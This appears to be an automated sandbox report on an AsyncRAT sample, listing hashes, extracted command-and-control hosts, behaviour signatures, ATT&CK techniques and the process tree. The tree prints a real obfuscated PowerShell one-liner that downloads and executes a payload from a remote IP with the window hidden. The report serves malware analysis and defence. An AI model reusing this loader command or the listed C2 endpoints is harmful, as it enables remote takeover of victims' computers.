asyncrat | 7b73596346a36f83b6b540bfc2b779fec228a050e6d7de631d0518b526b9b128

Analysis

max time kernel
300s
max time network
305s
platform
windows10-2004_x64
resource
win10v2004-20240704-en
resource tags

arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
submitted
08-07-2024 17:53

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General

Target

fsp.vbs
Size

10KB
MD5

c9f569bd4a2bdec00f03b7e30f47a8dd
SHA1

2cdd9694e58e8f3c9c8607f5cc6e31d10b482c32
SHA256

7b73596346a36f83b6b540bfc2b779fec228a050e6d7de631d0518b526b9b128
SHA512

98d631ad7749c3b7ebd02da6a00796f66951d42f9142fc1bb459904da253f8c90e974a491d4f1e1364f786a8ae8022080a24840260b01f73fd73e8c0fe9a54cd
SSDEEP

48:/L2tePUutEk+hDnqhdN6+W0K00ah0ZBjAPa:T2kPUGxwqhdN6l0K00xoi

Score

10^/10

asyncrat hema execution rat

Malware Config

Extracted

Family

asyncrat

Version

AWS | RxR

Botnet

Hema

lolroot.duckdns.org:6606

lolroot.duckdns.org:7707

lolroot.duckdns.org:8808

storeroot.duckdns.org:6606

storeroot.duckdns.org:7707

storeroot.duckdns.org:8808

storexroot.duckdns.org:6606

storexroot.duckdns.org:7707

storexroot.duckdns.org:8808

Mutex

AsyncMutex_9eurjf40i8eurjfiekfj

Attributes

delay
3
install
false
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral3/memory/3972-46-0x0000000007B10000-0x0000000007BF0000-memory.dmp	WebBrowserPassView

Nirsoft 1 IoCs

resource	yara_rule
behavioral3/memory/3972-46-0x0000000007B10000-0x0000000007BF0000-memory.dmp	Nirsoft

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	640	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
640	powershell.exe
2984	powershell.exe
1664	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2753856825-3907105642-1818461144-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2753856825-3907105642-1818461144-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2753856825-3907105642-1818461144-1000\Control Panel\International\Geo\Nation	WScript.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 2984 set thread context of 3972	2984	powershell.exe	95
PID 1664 set thread context of 4568	1664	powershell.exe	101

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
640	powershell.exe
640	powershell.exe
2984	powershell.exe
2984	powershell.exe
3972	RegSvcs.exe
1664	powershell.exe
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	2984	powershell.exe
Token: SeDebugPrivilege	3972	RegSvcs.exe
Token: SeDebugPrivilege	1664	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3972	RegSvcs.exe

Suspicious use of WriteProcessMemory 28 IoCs

description	pid	Process	procid_target
PID 3468 wrote to memory of 3296	3468	WScript.exe	82
PID 3468 wrote to memory of 3296	3468	WScript.exe	82
PID 3296 wrote to memory of 640	3296	cmd.exe	84
PID 3296 wrote to memory of 640	3296	cmd.exe	84
PID 1968 wrote to memory of 3328	1968	WScript.exe	92
PID 1968 wrote to memory of 3328	1968	WScript.exe	92
PID 3328 wrote to memory of 2984	3328	cmd.exe	94
PID 3328 wrote to memory of 2984	3328	cmd.exe	94
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 2984 wrote to memory of 3972	2984	powershell.exe	95
PID 3400 wrote to memory of 1736	3400	WScript.exe	98
PID 3400 wrote to memory of 1736	3400	WScript.exe	98
PID 1736 wrote to memory of 1664	1736	cmd.exe	100
PID 1736 wrote to memory of 1664	1736	cmd.exe	100
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101
PID 1664 wrote to memory of 4568	1664	powershell.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fsp.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://23.26.108.141:888/zohre.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3296
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    POWeRSHeLL.eXe -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='VAN(''http://23.26.108.141:888/zohre.jpg'')'.RePLACe('VAN','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:640

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3328
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2984
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of SetWindowsHookEx
      PID:3972

C:\Windows\System32\WScript.exe
C:\Windows\System32\WScript.exe "C:\Users\Public\roox.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Public\roox.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\roox.ps1'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
      4⤵
      PID:4568

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
2f57fde6b33e89a63cf0dfdd6e60a351

SHA1
445bf1b07223a04f8a159581a3d37d630273010f

SHA256
3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55

SHA512
42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
321756505d3ef828b22186c6b927a5fa

SHA1
d65a23744ec9ebb01baa142aa48a50c25e5e3a51

SHA256
990c202a39be4cceab0adb117dee8b9179ba607851616d49b653ea0daabc8fcc

SHA512
50fccf3a880c26aad38ebef396ab5550be96f0cd5ba602dbb7a017cd78c7fe3f21edb713638929b19f44e919f2879ab251825ad38682fd9a94053b944382bed2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2eddcac07cd0472f65ddae965dd70145

SHA1
8dd31710476df43d01d1520f3a8a833bf2ace85a

SHA256
b14126f1f8b1e98ae88301fbc9c3a1111d5af90208c18dc0fc935a68efe69e7f

SHA512
7f8e4f9338c3937b05ac2e5adef6835bb3f787c1360067db62c35603fb1c33799d5f856f70a7321cb96d48dc5f54f71331b821d8f62afd759386c51ef2c00550

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fo4laxfx.cun.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Public\roox.bat

Filesize
195B

MD5
0344d401c7266a2bc6d19f5a2bc90040

SHA1
d3bf5a4b55b523429f3c7cb58ffa19504bececfc

SHA256
a3a38fb5090f5b9c951160d60d2fcd0e4488b3e72b1823fc17ef34a15fe9dab7

SHA512
59b448d02dadd2934abf88c40e25fec741724112e1320770b06df9b862643f2eba9cedee9d58244145fbece6d0d366380d6d2d6b56082a97649683ca10f9bc07

Download Submit
C:\Users\Public\roox.ps1

Filesize
704KB

MD5
ddf4e48ffb86d26dab3211c61fbfa860

SHA1
0a4b84e17fd68c86e11b37f1889a159408a12211

SHA256
062254d6904583a767b6662a16977c7f90e0c16d08fbc499f2ee18a9a26af5ec

SHA512
da62656a3c5468127304dea22c08f622b3b4bd703f3606619fdae3cddf182d80945358bda5ba87d1788cc9db7e48c8edacb36ff9c81e0d30935c85ece888ccd6

Download Submit
C:\Users\Public\roox.vbs

Filesize
686B

MD5
a0a3c05080df4421295e559291304405

SHA1
286e02a003b7e26a381e41d2127ffb0ed371f5b4

SHA256
22889b8d447ea679e8b2fb27eca95d0f04056203c9214818758b0a21379ea323

SHA512
ee9971cda442f9dd305e0810babd0a5f94589a966b2a4f10421b341d6e7914fed3f2a12821dc56d338f7ec5ba9a38830727d0e17fd18257e45ebabd7612e99b4

Download Submit
memory/640-11-0x00007FFE257A0000-0x00007FFE26261000-memory.dmp

Filesize
10.8MB

Download
memory/640-19-0x00007FFE257A0000-0x00007FFE26261000-memory.dmp

Filesize
10.8MB

Download
memory/640-16-0x00007FFE257A0000-0x00007FFE26261000-memory.dmp

Filesize
10.8MB

Download
memory/640-12-0x00007FFE257A0000-0x00007FFE26261000-memory.dmp

Filesize
10.8MB

Download
memory/640-1-0x000001FC21A00000-0x000001FC21A22000-memory.dmp

Filesize
136KB

Download
memory/640-0-0x00007FFE257A3000-0x00007FFE257A5000-memory.dmp

Filesize
8KB

Download
memory/2984-34-0x0000014B1A9B0000-0x0000014B1A9CA000-memory.dmp

Filesize
104KB

Download
memory/3972-37-0x00000000061E0000-0x0000000006784000-memory.dmp

Filesize
5.6MB

Download
memory/3972-38-0x0000000005DD0000-0x0000000005E62000-memory.dmp

Filesize
584KB

Download
memory/3972-39-0x0000000005D80000-0x0000000005D8A000-memory.dmp

Filesize
40KB

Download
memory/3972-40-0x0000000006970000-0x0000000006A0C000-memory.dmp

Filesize
624KB

Download
memory/3972-41-0x0000000006A10000-0x0000000006A76000-memory.dmp

Filesize
408KB

Download
memory/3972-42-0x0000000007780000-0x00000000077F6000-memory.dmp

Filesize
472KB

Download
memory/3972-43-0x0000000007700000-0x000000000776A000-memory.dmp

Filesize
424KB

Download
memory/3972-44-0x0000000007970000-0x000000000798E000-memory.dmp

Filesize
120KB

Download
memory/3972-45-0x00000000079D0000-0x00000000079DA000-memory.dmp

Filesize
40KB

Download
memory/3972-46-0x0000000007B10000-0x0000000007BF0000-memory.dmp

Filesize
896KB

Download
memory/3972-35-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download